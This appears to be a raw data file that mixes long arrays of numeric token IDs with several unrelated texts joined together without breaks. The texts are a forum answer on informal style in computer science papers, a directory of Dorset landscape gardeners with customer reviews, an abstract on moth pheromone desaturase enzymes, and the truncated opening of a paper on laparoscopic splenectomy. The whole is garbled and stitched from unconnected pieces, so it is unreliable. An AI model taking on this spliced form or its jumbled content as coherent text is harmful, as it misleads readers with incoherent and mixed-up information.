get a list here.
[ 15, 187, 18071, 27, 496, 634, 12921, 13, 368, 13199, 326, 368, 1472, 275, 4382, 5859, 15, 496, 619, 2793, 13, 4382, 5859, 4028, 310, 2080, 625, 5636, 1050, 13, 285, 4382, 5859, 4466, 310, 2080, 625, 15120, 13, 685, 954, 643, 4910, 15, 309, 5545, 3780, 651, 10464, 271, 5130, 387, 2057, 273, 253, 806, 767, 25491, 15, 496, 958, 13, 253, 2929, 309, 4390, 452, 1527, 327, 253, 15948, 14, 23030, 3642, 37319, 12862, 2296, 27, 187, 187, 688, 5238, 495, 359, 588, 671, 897, 253, 6779, 273, 23858, 3470, 407, 21783, 342, 1524, 21783, 313, 81, 15, 608, 10, 187, 1231, 588, 921, 326, 436, 187, 26324, 3198, 5511, 387, 1878, 1454, 104, 9, 1853, 237, 2072, 582, 534, 8018, 253, 10012, 15, 313, 81, 23, 10, 187, 187, 395, 556, 2074, 35831, 275, 387, 1878, 1740, 643, 5053, 15, 309, 3027, 36, 13, 13209, 2284, 434, 3236, 2929, 16984, 253, 329, 14, 46, 14238, 574, 253, 806, 1740, 7223, 7094, 275, 253, 830, 273, 247, 269, 10422, 13296, 1975, 2926, 670, 4377, 15948, 15, 535, 9867, 1980, 8565, 9875, 18733, 398, 275, 50167, 292, 187, 187, 3220, 12038, 556, 6763, 273, 1980, 285, 9630, 8565, 9875, 18733, 398, 275, 50167, 292, 15, 844, 3601, 776, 5454, 2758, 285, 1046, 2628, 310, 598, 323, 2278, 15, 5779, 634, 2628, 1024, 281, 755, 3158, 6128, 432, 1980, 8565, 9875, 18733, 398, 275, 50167, 292, 15, 187, 187, 34, 2579, 5907, 534, 310, 247, 2783, 13, 802, 46348, 2746, 187, 936, 8565, 9875, 285, 10329, 45081, 285, 2216, 1580, 697, 187, 249, 2409, 275, 6157, 281, 6383, 285, 616, 3198, 15, 1916, 8028, 13, 187, 24301, 885, 285, 26761, 281, 4176, 512, 35905, 33405, 1355, 285, 187, 16374, 1892, 13, 2602, 28108, 15609, 6493, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 30769, 7244, 25122, 281, 10347, 271, 6642, 285, 369, 5211, 281, 22276, 327, 253, 4081, 45755, 15, 754, 4934, 275, 5181, 281, 1339, 479, 871, 672, 344, 651, 320, 2130, 281, 1265, 253, 789, 15, 754, 369, 247, 9630, 285, 17256, 780, 12954, 665, 369, 1077, 46808, 1051, 187, 187, 1231, 403, 271, 4232, 4471, 2579, 2567, 1929, 323, 1146, 187, 25224, 383, 285, 9630, 15, 187, 1231, 2868, 326, 1046, 2628, 943, 320, 686, 783, 1682, 8, 285, 776, 187, 1601, 43931, 310, 1273, 281, 5293, 15, 187, 1231, 2868, 7731, 13212, 310, 253, 954, 1774, 187, 284, 808, 273, 776, 789, 285, 1900, 32094, 281, 2085, 253, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 3220, 2628, 2335, 2800, 3618, 5043, 281, 8416, 13, 533, 1309, 326, 673, 2305, 15, 24999, 369, 1077, 17127, 285, 4307, 1077, 1892, 15, 187, 187, 13425, 44267, 187, 44427, 314, 9073, 6068, 15, 187, 29532, 7535, 187, 56, 3867, 281, 564, 253, 4465, 13915, 187, 2302, 2628, 281, 1355, 390, 1943, 187, 17534, 8274, 187, 5065, 19922, 20910, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 34830, 285, 521, 2285, 10090, 323, 479, 253, 9065, 11859, 2613, 309, 452, 2455, 2326, 15, 733, 310, 6747, 1268, 4543, 6032, 15, 1621, 3177, 369, 1160, 281, 6032, 253, 1755, 342, 247, 8253, 285, 347, 824, 1824, 24283, 275, 352, 15, 733, 434, 760, 816, 7470, 323, 619, 17914, 281, 1790, 327, 533, 310, 1051, 187, 187, 43, 3788, 3216, 1601, 457, 84, 3959, 512, 3510, 273, 3238, 1690, 187, 2595, 1601, 457, 84, 285, 2087, 9363, 15, 844, 403, 9630, 285, 187, 19771, 34248, 665, 1379, 1270, 15555, 275, 512, 616, 789, 15, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 1231, 497, 1663, 13864, 342, 5490, 8, 789, 15, 754, 310, 9630, 13, 247, 1175, 3461, 1080, 13, 285, 3531, 598, 672, 344, 753, 344, 651, 15, 309, 651, 5583, 521, 789, 281, 3780, 342, 2074, 6095, 285, 344, 369, 1077, 1175, 1318, 15, 14815, 26174, 2126, 779, 969, 327, 1051, 187, 187, 42, 452, 644, 3652, 275, 285, 1475, 18154, 292, 323, 689, 3436, 1107, 15, 187, 42, 1408, 247, 1355, 3652, 2136, 1925, 10283, 47322, 285, 619, 187, 81, 5395, 4887, 436, 347, 309, 513, 417, 452, 253, 18332, 84, 326, 187, 9388, 1063, 5882, 452, 15, 1621, 2628, 310, 1512, 1943, 390, 1512, 1355, 285, 512, 187, 9846, 320, 6312, 281, 253, 4585, 2629, 15, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 5268, 3806, 27, 187, 187, 36945, 858, 20098, 1601, 13, 2972, 268, 3292, 13, 33864, 23157, 285, 12595, 272, 323, 441, 15, 3032, 789, 43931, 369, 806, 966, 285, 512, 7794, 497, 1077, 5702, 15, 754, 2210, 598, 342, 690, 1077, 1175, 5697, 285, 521, 5511, 6936, 497, 7126, 15, 754, 369, 1077, 1051, 187, 187, 5455, 7813, 269, 5537, 285, 28108, 15609, 310, 247, 1980, 2136, 187, 46033, 275, 3094, 453, 353, 26584, 2822, 411, 303, 17861, 15, 187, 1231, 3959, 247, 11088, 28108, 15609, 2579, 323, 3055, 187, 73, 6819, 285, 2136, 15, 844, 403, 247, 4122, 5702, 13, 11453, 187, 25610, 665, 1379, 1270, 15555, 275, 512, 7375, 359, 30618, 15, 187, 2598, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 45441, 2628, 13, 14958, 752, 359, 5821, 344, 651, 513, 387, 253, 673, 359, 5821, 285, 253, 4376, 359, 5821, 15, 1276, 625, 476, 368, 1642, 323, 3736, 187, 42, 452, 642, 39500, 275, 46705, 5171, 964, 187, 187, 42, 452, 644, 2509, 3652, 789, 323, 689, 854, 1107, 275, 534, 309, 187, 9802, 2218, 7375, 432, 43116, 272, 13, 1892, 28108, 15609, 13, 269, 5537, 13, 187, 9750, 6850, 273, 7375, 285, 253, 3515, 273, 3652, 4375, 15, 309, 452, 187, 66, 5130, 323, 2508, 285, 971, 619, 2136, 281, 320, 5547, 285, 187, 9802, 327, 1469, 6383, 342, 1270, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 688, 4223, 4022, 6911, 42201, 247, 28108, 15609, 2628, 275, 776, 896, 10329, 13, 22980, 1977, 23298, 285, 6149, 285, 3652, 247, 38323, 13, 17523, 264, 42801, 15, 754, 671, 33172, 285, 23347, 4243, 273, 253, 8704, 581, 15, 844, 403, 1077, 13864, 342, 253, 1543, 2391, 187, 187, 42, 717, 247, 7934, 41739, 2509, 28108, 15609, 285, 3652, 789, 964, 11778, 187, 1229, 5043, 1107, 2793, 275, 436, 4910, 285, 717, 247, 4751, 187, 28758, 20098, 12026, 964, 11778, 2218, 1142, 6493, 689, 253, 1107, 187, 10387, 512, 2087, 268, 3292, 1157, 40728, 10228, 1157, 1831, 6226, 404, 285, 2972, 187, 81, 3292, 964, 49518, 3402, 272, 1157, 67, 4662, 1601, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 1145, 7126, 2628, 13, 1663, 973, 2218, 285, 387, 247, 1077, 1175, 4376, 15, 14861, 7244, 323, 253, 3302, 5955, 313, 395, 1046, 643, 1388, 10, 4555, 672, 344, 753, 344, 651, 15, 5552, 2348, 281, 752, 309, 3078, 13, 2546, 1175, 3533, 285, 2197, 247, 1175, 6642, 273, 253, 673, 1051, 187, 187, 45538, 322, 3077, 44, 708, 322, 1139, 187, 664, 403, 247, 1355, 2021, 2567, 13, 665, 2714, 885, 275, 13016, 187, 36964, 2980, 13, 269, 5537, 13, 26111, 285, 3216, 2987, 187, 1231, 1379, 15555, 275, 512, 776, 789, 285, 1555, 634, 10329, 347, 604, 187, 262, 369, 776, 1211, 13, 776, 4116, 281, 2508, 310, 751, 642, 643, 15, 594, 187, 664, 476, 2794, 368, 247, 10329, 326, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 42270, 369, 7126, 13, 1077, 11453, 285, 5702, 15, 754, 3531, 598, 327, 673, 285, 6312, 253, 789, 281, 247, 1077, 1029, 2629, 13, 359, 812, 417, 452, 2546, 323, 247, 1805, 2579, 15, 309, 3524, 281, 789, 342, 779, 969, 275, 253, 2852, 15, 187, 187, 21484, 84, 29822, 4896, 708, 24969, 12098, 2085, 247, 9630, 13, 187, 19771, 285, 5702, 2579, 15, 844, 30618, 512, 7794, 187, 1171, 3652, 789, 15, 187, 21484, 84, 556, 689, 1458, 1107, 273, 2793, 285, 10949, 247, 4618, 187, 6324, 273, 3238, 15, 187, 1231, 15555, 9361, 275, 253, 2579, 359, 2085, 15, 187, 187, 18703, 5140, 418, 10989, 2714, 3013, 275, 512, 3510, 273, 187, 11682, 13, 1690, 747, 21168, 13, 18149, 13, 30074, 569, 13, 187, 12292, 589, 29318, 35831, 285, 1728, 11701, 15, 844, 403, 187, 3169, 275, 50167, 292, 285, 403, 671, 2130, 281, 30618, 6493, 187, 249, 33423, 21813, 15, 187, 6067, 7407, 1051, 187, 187, 23080, 383, 36468, 8873, 708, 8174, 16029, 8680, 2278, 27, 187, 187, 24243, 2, 1737, 247, 2579, 13054, 285, 521, 2285, 2085, 15, 4325, 2216, 281, 990, 1885, 891, 717, 594, 5211, 15, 2752, 8576, 369, 1355, 13, 1711, 285, 2717, 310, 1268, 275, 436, 2419, 13, 533, 253, 3290, 273, 789, 310, 8644, 15, 1737, 247, 25426, 9261, 15, 14815, 5583, 436, 1051, 187, 187, 22930, 2205, 434, 17241, 2189, 9491, 187, 1231, 403, 1754, 275, 50167, 292, 285, 403, 22500, 670, 253, 32321, 187, 395, 3345, 3811, 8470, 2820, 281, 1056, 2119, 368, 4264, 352, 187, 284, 1199, 347, 359, 513, 187, 1231, 3959, 247, 4618, 2491, 273, 3238, 323, 634, 10329, 3198, 15, 187, 187, 18139, 33574, 275, 512, 7794, 273, 10329, 28108, 15609, 1690, 13, 187, 4066, 3783, 13, 4446, 1576, 13, 44409, 13, 26111, 13, 29809, 9968, 13, 10583, 187, 6672, 13, 5202, 1557, 15, 309, 1379, 327, 667, 789, 281, 513, 342, 23308, 13, 6389, 187, 1373, 390, 6264, 2659, 15, 187, 39, 26095, 12165, 5202, 20997, 13, 4122, 7407, 275, 2836, 1063, 187, 395, 39463, 1051, 26102, 7629, 8925, 14166, 18334, 273, 247, 13803, 883, 711, 4953, 511, 3939, 275, 42057, 2825, 39720, 409, 531, 26132, 15, 187, 34, 13803, 883, 711, 4953, 511, 432, 253, 46524, 3961, 264, 10617, 20173, 42057, 775, 263, 382, 531, 5650, 687, 84, 584, 3230, 3936, 253, 23543, 619, 2198, 280, 3527, 285, 11330, 247, 7802, 273, 313, 38, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 285, 313, 59, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 342, 271, 6714, 273, 253, 1503, 310, 8056, 313, 1671, 27, 2082, 481, 329, 711, 4953, 511, 432, 253, 20673, 3289, 36141, 42057, 775, 263, 382, 531, 5650, 29736, 4123, 671, 17209, 327, 619, 2198, 280, 3527, 6605, 533, 11330, 2761, 6313, 313, 38, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 15, 380, 767, 711, 4953, 1169, 3894, 11266, 6, 8898, 3527, 6489, 285, 10694, 6, 8898, 3527, 14259, 15, 1707, 403, 2164, 8898, 9532, 26704, 875, 841, 767, 711, 4953, 1169, 15, 844, 8818, 9197, 387, 512, 273, 841, 6887, 281, 45661, 253, 4375, 326, 3653, 253, 1885, 14166, 18334, 15, 844, 5183, 342, 247, 15727, 5164, 6981, 326, 581, 8898, 3527, 387, 253, 39734, 22236, 1190, 43259, 273, 253, 2601, 313, 22029, 38, 10, 310, 4619, 323, 253, 1503, 2425, 273, 253, 330, 15, 687, 84, 584, 3230, 711, 4953, 511, 15, 15601, 839, 253, 13627, 12614, 3527, 313, 38, 10, 715, 44928, 280, 3527, 313, 37, 10, 29698, 253, 330, 15, 687, 84, 584, 3230, 9548, 715, 247, 711, 4953, 511, 342, 330, 15, 29736, 4123, 14, 3022, 2425, 13, 5727, 253, 33561, 10577, 273, 253, 330, 15, 29736, 4123, 711, 4953, 511, 13657, 352, 715, 271, 9548, 9603, 271, 10444, 6705, 27, 1812, 444, 16, 59, 1885, 4313, 15, 844, 2319, 253, 19349, 3048, 875, 436, 8898, 3527, 1818, 285, 253, 14166, 10888, 3607, 273, 253, 711, 4953, 511, 285, 253, 2554, 273, 711, 4953, 511, 9197, 275, 39720, 409, 531, 5606, 15, 1042, 32585, 187, 7770, 187, 187, 4553, 697, 10199, 275, 10226, 407, 6304, 1942, 250, 285, 353, 4126, 1914, 30996, 35, 18, 3725, 35299, 48507, 28857, 556, 644, 7561, 2684, 323, 9205, 8570, 273, 253, 26528, 13, 3340, 275, 15920, 9522, 1363, 15, 775, 1306, 77, 334, 38875, 310, 2223, 2330, 342, 6821, 23876, 15920, 9522, 9360, 10568, 48507, 28857, 13, 285, 3103, 29747, 35299, 448, 1306, 49663, 28857, 285, 48507, 28857, 403, 4536, 4860, 15, 187, 187, 3378, 253, 5899, 1527, 2746, 13, 48507, 28857, 285, 448, 1306, 49663, 28857, 778, 320, 2684, 1309, 253, 1072, 4254, 13, 533, 247, 1781, 17322, 33708, 778, 320, 3309, 15, 187, 187, 3378, 11138, 2793, 275, 35299, 5869, 13, 29747, 448, 1306, 49663, 28857, 285, 48507, 28857, 452, 644, 4081, 407, 253, 12949, 14 ]	. EDIT: In your edit, you specify that you're in computer science. In my experience, computer science writing is far more conversational, and computer science culture is far more casual, than most other fields. I doubt anyone would bat an eye at either of the first two phrases. In fact, the paper I currently have open on the Arthur-Merlin Protocols says: In Section 3 we will also use the representation of Boolean functions by polynomials with real polynomials (p. 5) We will show that this protocol needs communication at least Ω(√na), which implies the theorem. (p6) and has similar constructions in at least four other places. IIRC, Babai's original paper introducing the A-M protocols had the first four pages entirely in the form of a faux mythological story about King Arthur. Find local Landscape Gardeners in Dorset MyBuilder has thousands of local and reliable Landscape Gardeners in Dorset. We screen our trade members and every job is up for review. Post your job now to get quick responses from local Landscape Gardeners in Dorset. A service offered which is a considered, empathetic approach to Landscape and garden renovation and design since its inception in 2004 to customers and their needs. To listen, advise and inspire to suit all budgets undertaking small and large hard, soft landscaping projects... Latest Landscape Gardening feedback review: Andrew arrived promptly to prepare an estimate and was happy to advise on the proposed redesign. He kept in touch to let me know when he would be available to start the work. He was a reliable and punctual worker who was very trustworthy... We are an established multi service company known for being honest and reliable. We believe that every job should be 'the best' and our workmanship is second to none. We believe customer satisfaction is the most important aspect of our work and always strive to provide the... Latest Landscape Gardening feedback review: My job took six weeks plus to finish, but during that time Mr. Shaw was very pleasant and worked very hard. General builders Friendly helping guys. Grand advice Willing to go the extra mile No job to small or big Very honest Competitive pricing Latest Landscape Gardening feedback review: Louis and his team laid for me the worst concrete base I have ever seen. It is neither level nor smooth. No attempt was made to smooth the top with a float and as such water pools in it. It's only just suitable for my shed to sit on but is... JMA groundwork’s offer all types of services including groundwork’s and general maintenance. We are reliable and friendly serine who take great pride in all their work. Latest Landscape Gardening feedback review: We were really pleased with James' work. He is reliable, a good communicator, and turned up when he said he would. I would recommend his work to anyone with similar requirements and he was very good value. Would happily employ him again on... I have been building in and around dorset for over 26 years. I run a small building business called SiBridge and my prices reflect this as I do not have the overheads that larger firm have. No job is too big or too small and all will be completed to the highest standard. Latest Landscape Gardening client reference: Simon did brickwork, block paving, slab laying and decking for us. His workmanship was first class and all aspects were very professional. He came up with some very good ideas and his communication skills were excellent. He was very... Path Life fencing and landscaping is a local business located in Corfe Mullen near Wimborne. We offer a comprehensive landscaping service for private homes and business. We are a highly professional, friendly company who take great pride in all jobs we undertake. So... Latest Landscape Gardening feedback review: Excellent job,did what we agreed he would do at the time we agreed and the price we agreed.What more can you ask for? I have no hesitation in recommending Paul. I have been doing building work for over 8 years in which I have done jobs from plastering, hard landscaping, fencing, finisher of jobs and the running of building sites. I have a eye for detail and want my business to be successful and have on going customers with great... Latest Landscape Gardening feedback review: In August 2016 Robert undertook a landscaping job in our back garden, clearing away lawn and earth and building a decorative,patterned patio. He also repaired and renewed parts of the surrounding one. We are very pleased with the results.... I am a sole trader doing landscaping and building work.Have 30 plus years experience in this fields and am a fully qualified bricklayer.Have done many projects over the years including all general paving,sandstone,porcelain and block paving.Stone walling,brickwork... Latest Landscape Gardening feedback review: An excellent job, really well done and at a very good price. Tony arrived for the initial discussion (and every other day) exactly when he said he would. Listened to what I wanted, asked good questions and sent a good estimate of the time... LH SILK & SON we are a small family company, who specialise in landscape gardening, fencing, drainage and ground works We take pride in all our work and treat your garden as if it was our own, our attention to detail is like no other. so we can create you a garden that... Latest Landscape Gardening feedback review: Luke was excellent, very friendly and professional. He turned up on time and completed the work to a very high standard, we could not have asked for a better service. I hope to work with him again in the future. Smiths Groundworks & Construction Ltd provide a reliable, friendly and professional service. We undertake all aspects of building work. Smiths has over 15 years of experience and covers a wide range of services. We pride ourselves in the service we provide. Lock construction LTD specialises in all types of construction, including new builds, extensions, renovations, timber framed constructions and home improvements. We are based in Dorset and are also available to undertake projects in neighbouring counties. Our experienced... Latest Carpentry & Joinery feedback review: Wow! What a service Lewis and his team provide. From design to end product i am so happy. My kitchen was small, old and nothing is level in this house, but the quality of work is amazing. What a Complete transformation. Would recommend this... Henley's Countryside Services We are based in Dorset and are passionate about the outdoors and outside living spaces trying to make sure you enjoy it as much as we do We offer a wide range of services for your garden needs. Experienced in all aspects of garden landscaping including, patios, driveways, turf, drainage, hedge cutting, grass care, tree care. I take on any work to do with gardens, farm land or commercial land. Fully qualified tree surgeon, highly experienced in digger and tractor...Sequence variation determining stereochemistry of a Δ11 desaturase active in moth sex pheromone biosynthesis. A Δ11 desaturase from the oblique banded leaf roller moth Choristoneura rosaceana takes the saturated myristic acid and produces a mixture of (E)-11-tetradecenoate and (Z)-11-tetradecenoate with an excess of the Z isomer (35:65). A desaturase from the spotted fireworm moth Choristoneura parallela also operates on myristic acid substrate but produces almost pure (E)-11-tetradecenoate. The two desaturases share 92% amino acid identity and 97% amino acid similarity. There are 24 amino acids differing between these two desaturases. We constructed mutations at all of these positions to pinpoint the sites that determine the product stereochemistry. We demonstrated with a yeast functional assay that one amino acid at the cytosolic carboxyl terminus of the protein (258E) is critical for the Z activity of the C. rosaceana desaturase. Mutating the glutamic acid (E) into aspartic acid (D) transforms the C. rosaceana enzyme into a desaturase with C. parallela-like activity, whereas the reciprocal mutation of the C. parallela desaturase transformed it into an enzyme producing an intermediate 64:36 E/Z product ratio. We discuss the causal link between this amino acid change and the stereochemical properties of the desaturase and the role of desaturase mutations in pheromone evolution.INTRODUCTION ============ After its introduction in 1991 by Delaitre and Maignien,^[@B1]^ laparoscopic splenectomy has been widely performed for surgical removal of the spleen, especially in hematologic patients. Cholelithiasis is often associated with splenic hematologic disorders requiring splenectomy, and therefore concomitant laparoscopic cholecystectomy and splenectomy are sometimes indicated. With the traditional open approach, splenectomy and cholecystectomy may be performed during the same operation, but a large abdominal incision may be necessary. With improving experience in laparoscopic surgery, concomitant cholecystectomy and splenectomy have been proposed by the mini-
[ 36042, 964, 11502, 495, 15, 22, 481, 380, 32489, 310, 326, 352, 10513, 247, 747, 4227, 273, 29743, 2765, 13, 534, 778, 417, 320, 752, 368, 971, 1051, 1422, 812, 513, 1633, 751, 326, 3185, 1163, 187, 26966, 9, 2044, 5382, 275, 298, 3550, 19, 10, 187, 92, 187, 50274, 620, 382, 18, 15, 4717, 8693, 9, 4835, 558, 187, 94, 187, 187, 34, 27, 187, 187, 4943, 368, 476, 1089, 619, 7939, 1618, 7092, 342, 473, 9, 18, 10, 7036, 255, 285, 8085, 2069, 15, 187, 4967, 964, 11502, 29743, 2765, 1057, 417, 1329, 1716, 8076, 285, 43531, 5871, 32, 187, 17624, 6010, 187, 3837, 3179, 1131, 4632, 964, 11502, 29743, 2765, 27, 187, 187, 28274, 3541, 8353, 13, 3021, 1046, 4666, 19743, 49967, 2765, 6910, 556, 187, 13524, 29476, 313, 22340, 13, 1735, 13, 1318, 10, 3185, 273, 1740, 313, 22340, 13, 1735, 13, 1618, 13, 187, 2877, 10, 12401, 3236, 964, 11502, 7092, 15, 209, 187, 4727, 8707, 1716, 8076, 285, 43531, 187, 42316, 275, 473, 9, 18, 10, 209, 187, 4727, 8707, 309, 3546, 22711, 494, 38898, 1082, 30482, 1080, 275, 187, 48, 9, 18, 10, 1108, 407, 253, 1039, 309, 513, 417, 923, 667, 1921, 2139, 352, 457, 84, 417, 2530, 187, 79, 3146, 327, 253, 964, 11502, 29743, 2765, 15, 2051, 12341, 366, 6880, 1332, 187, 36042, 473, 9, 79, 481, 187, 187, 6744, 11402, 1131, 27, 187, 187, 10795, 417, 1329, 8240, 15, 187, 1773, 8076, 4254, 6505, 1273, 1618, 275, 271, 16706, 1375, 15, 187, 33720, 4254, 6505, 3236, 1618, 275, 271, 16706, 1375, 15, 187, 1394, 403, 2104, 281, 3894, 7632, 875, 10894, 15, 187, 187, 8665, 27, 187, 187, 42, 452, 6777, 271, 5795, 5700, 323, 16994, 46223, 285, 1089, 5871, 13, 2581, 685, 625, 48656, 285, 15846, 34025, 3236, 7092, 15, 309, 3524, 253, 4016, 3045, 3486, 4558, 34584, 15, 535, 1276, 369, 253, 43533, 434, 954, 3332, 2361, 2264, 2558, 1824, 2957, 347, 4767, 275, 697, 10205, 12469, 262, 10840, 32, 12266, 31396, 11767, 10205, 28622, 187, 187, 21093, 273, 411, 469, 5741, 24618, 187, 187, 7798, 187, 187, 22, 187, 187, 7132, 187, 187, 22, 187, 187, 6961, 187, 187, 17, 187, 187, 6620, 187, 187, 17, 187, 187, 510, 7155, 273, 1824, 3663, 432, 253, 3268, 985, 3400, 253, 11839, 342, 247, 8245, 432, 534, 281, 5724, 285, 3157, 1824, 2957, 1453, 15, 329, 2169, 2558, 1824, 2957, 2097, 326, 247, 11839, 310, 10305, 1824, 326, 812, 320, 908, 390, 14900, 281, 5778, 2442, 8214, 1824, 11319, 6493, 275, 253, 2852, 30187, 5182, 1108, 15600, 27, 6166, 15983, 463, 187, 187, 688, 253, 37952, 2961, 2586, 13, 1142, 7231, 10003, 285, 9195, 13, 1097, 8797, 285, 6416, 13, 452, 644, 4352, 13, 13572, 390, 11069, 15, 380, 25172, 1593, 3284, 273, 253, 7344, 556, 644, 762, 12490, 407, 42608, 13, 3340, 1110, 13, 327, 1097, 7123, 13, 44601, 253, 7268, 273, 5639, 5621, 327, 253, 34268, 15, 187, 187, 510, 7751, 14, 32797, 1608, 571, 39260, 285, 3128, 13, 754, 49038, 13, 3534, 697, 1329, 281, 253, 14211, 1346, 13, 1223, 253, 28550, 497, 3517, 7416, 407, 45409, 9329, 2390, 13, 3692, 3879, 13, 2299, 13, 556, 9592, 4391, 342, 673, 27, 690, 2390, 13, 824, 347, 253, 2805, 66, 264, 382, 38127, 25484, 13, 502, 6948, 342, 253, 28550, 3746, 15, 187, 688, 436, 3634, 13, 17959, 15600, 313, 10002, 1056, 598, 875, 608, 6, 285, 884, 6, 273, 253, 3072, 10, 452, 6096, 253, 13742, 273, 253, 2862, 3072, 13, 1146, 762, 2983, 13, 347, 247, 3689, 24649, 5901, 5625, 1304, 4159, 13, 32249, 46366, 4208, 4973, 13, 773, 1615, 1097, 12360, 14269, 6358, 285, 253, 2208, 668, 1014, 672, 8785, 773, 2369, 11942, 6598, 773, 3726, 403, 417, 387, 2137, 13, 533, 597, 11089, 432, 352, 7521, 2296, 1879, 15, 5769, 343, 35667, 300, 5769, 343, 671, 13, 271, 22437, 6445, 2338, 285, 247, 11652, 387, 1097, 659, 15, 10092, 2499, 275, 2325, 343, 307, 285, 253, 29880, 338, 474, 45817, 6516, 15, 773, 3726, 1333, 27, 2802, 664, 403, 247, 629, 273, 253, 17959, 952, 13, 3253, 9369, 281, 619, 6346, 13, 1880, 344, 310, 45409, 390, 1608, 571, 13, 390, 2712, 2010, 13, 671, 11852, 479, 16236, 285, 326, 457, 84, 2139, 597, 403, 10522, 407, 5320, 1346, 273, 1097, 7123, 7521, 1879, 15, 5769, 343, 11323, 15, 187, 187, 510, 7057, 457, 267, 3941, 66, 295, 4539, 187, 187, 10195, 13305, 1108, 3738, 417, 3477, 281, 17029, 1955, 281, 253, 3480, 273, 3907, 4973, 275, 253, 2137, 14, 85, 1575, 2586, 1108, 452, 35560, 5213, 22145, 15, 2596, 273, 253, 954, 3332, 310, 253, 31852, 13, 387, 253, 5068, 273, 4565, 13, 273, 13265, 30154, 295, 4539, 665, 2427, 5816, 432, 11877, 2745, 498, 66, 345, 2254, 13, 581, 273, 253, 1142, 18777, 285, 1114, 2237, 447, 275, 7057, 457, 267, 3941, 66, 13, 2456, 28666, 29979, 273, 47419, 15, 831, 1072, 7773, 369, 253, 6200, 273, 247, 6680, 875, 28550, 285, 2208, 5621, 534, 5876, 253, 1980, 6416, 3114, 275, 4397, 15, 4794, 281, 3420, 5012, 13, 253, 295, 4539, 497, 2668, 407, 3490, 432, 253, 345, 2254, 407, 10266, 20998, 13, 1223, 247, 17959, 10266, 22531, 753, 597, 497, 2668, 1977, 323, 616, 1211, 5252, 15, 187, 510, 7057, 457, 267, 3941, 66, 295, 4539, 403, 417, 253, 760, 15600, 2918, 3167, 1131, 275, 253, 2586, 27, 767, 24061, 13, 16833, 23961, 90, 267, 313, 266, 46657, 10503, 10, 285, 7057, 379, 12828, 71, 276, 91, 313, 66, 11308, 30154, 10, 497, 41802, 275, 5080, 4072, 28, 253, 9890, 6445, 2338, 3392, 3643, 13013, 399, 455, 457, 48, 3129, 900, 369, 41802, 1390, 4163, 275, 11605, 19084, 66, 13, 271, 25484, 14, 13028, 3874, 275, 253, 3729, 13, 672, 17324, 32542, 2057, 247, 1980, 22907, 11342, 390, 253, 35297, 273, 690, 3167, 1131, 15, 5220, 253, 49924, 273, 767, 30154, 39180, 13, 378, 32498, 714, 1370, 33014, 285, 714, 1368, 9045, 309, 44147, 13, 403, 4390, 7202, 15, 7379, 9526, 14, 13425, 16456, 19954, 14, 78, 3508, 26212, 824, 6993, 275, 247, 3908, 275, 4247, 13, 3981, 326, 773, 783, 1986, 14726, 41471, 667, 12262, 273, 7732, 1754, 327, 616, 9596, 13, 3114, 390, 16175, 37846, 6598, 773, 43619, 2458, 4768, 12728, 403, 387, 2495, 285, 1364, 320, 6885, 7521, 253, 1681, 3008, 860, 1239, 327, 15, 187, 5039, 5123, 4824, 562, 407, 14269, 6358, 1108, 3340, 46733, 4394, 1108, 452, 1160, 1199, 273, 253, 3668, 672, 352, 2210, 281, 15600, 15, 9859, 3978, 247, 10503, 14959, 13, 1879, 15, 44987, 8524, 324, 13, 369, 5339, 407, 2802, 266, 3270, 14, 20129, 1387, 457, 275, 4031, 4658, 13, 253, 1304, 273, 247, 7379, 14, 32797, 3907, 8119, 273, 14392, 327, 12728, 4767, 15, 496, 15918, 285, 18430, 17571, 407, 9329, 20998, 13, 690, 6416, 7231, 9195, 497, 711, 886, 14092, 13, 347, 4592, 275, 11605, 19084, 66, 13, 835, 1390, 4397, 25484, 20998, 9902, 264, 1097, 253, 11308, 30154, 6105, 273, 253, 7359, 38108, 285, 271, 46657, 6105, 13, 15706, 253, 2831, 342, 271, 355, 14, 46918, 7908, 15, 380, 37291, 1346, 671, 11295, 7654, 4803, 1108, 275, 8956, 342, 616, 2715, 273, 439, 8125, 1108, 327, 253, 2862, 3072, 15, 187, 187, 688, 253, 6290, 466, 2400, 2846, 187, 187, 2374, 253, 643, 1133, 13, 253, 2168, 5393, 7379, 14, 32797, 8119, 10145, 253, 2208, 273, 773, 3321, 272, 4668, 16566, 3304, 15918, 285, 18430, 668, 3692, 3072, 310, 773, 7265, 314, 1608, 571, 13, 1219, 1403, 614, 6416, 7521, 285, 436, 3879, 773, 1987, 3567, 281, 11002, 25102, 6656, 29005, 6598, 5220, 275, 388, 3056, 13, 2190, 1110, 18195, 275, 253, 2846, 4055, 13750, 407, 2208, 10824, 13, 627, 403, 15600, 13, 3977, 407, 247, 6445, 2338, 14959, 13, 1879, 15, 1879, 507, 10049, 1784, 48910, 85, 13, 665, 4102, 5439, 253, 13965, 27, 952, 275, 253, 6290, 466, 2400, 2846, 403, 773, 69, 3184, 273, 23635, 6598, 496, 9696, 14138, 9534, 13, 2299, 13, 15600, 7303, 281, 1361, 1110, 665, 497, 275, 878, 390, 2495, 264, 616, 4852, 13, 347, 275, 6912, 1473, 13, 835, 13, 2556, 281, 8801, 12484, 14179, 13, 1142, 4146, 24836, 387, 2495, 273, 1146, 1499, 4551, 2122, 407, 2208, 846, 2552, 374, 1119, 17824, 275, 6416, 25237, 13, 390, 275, 388, 3056, 13, 835, 247, 10503, 502, 6555, 13, 1879, 15, 18861, 515, 266, 32706, 276, 74, 13, 1335, 6613, 247, 4055, 534, 4245, 8596, 281, 2067, 4289, 2151, 285, 13603, 952, 15, 187, 22705, 14621, 8385, 310, 417, 253, 760, 1921, 2139, 17959, 15600, 403, 18153, 281, 616, 1728, 2586, 15, 2064, 310, 2139, 253, 958, 326, 1142, 273, 731, 403, 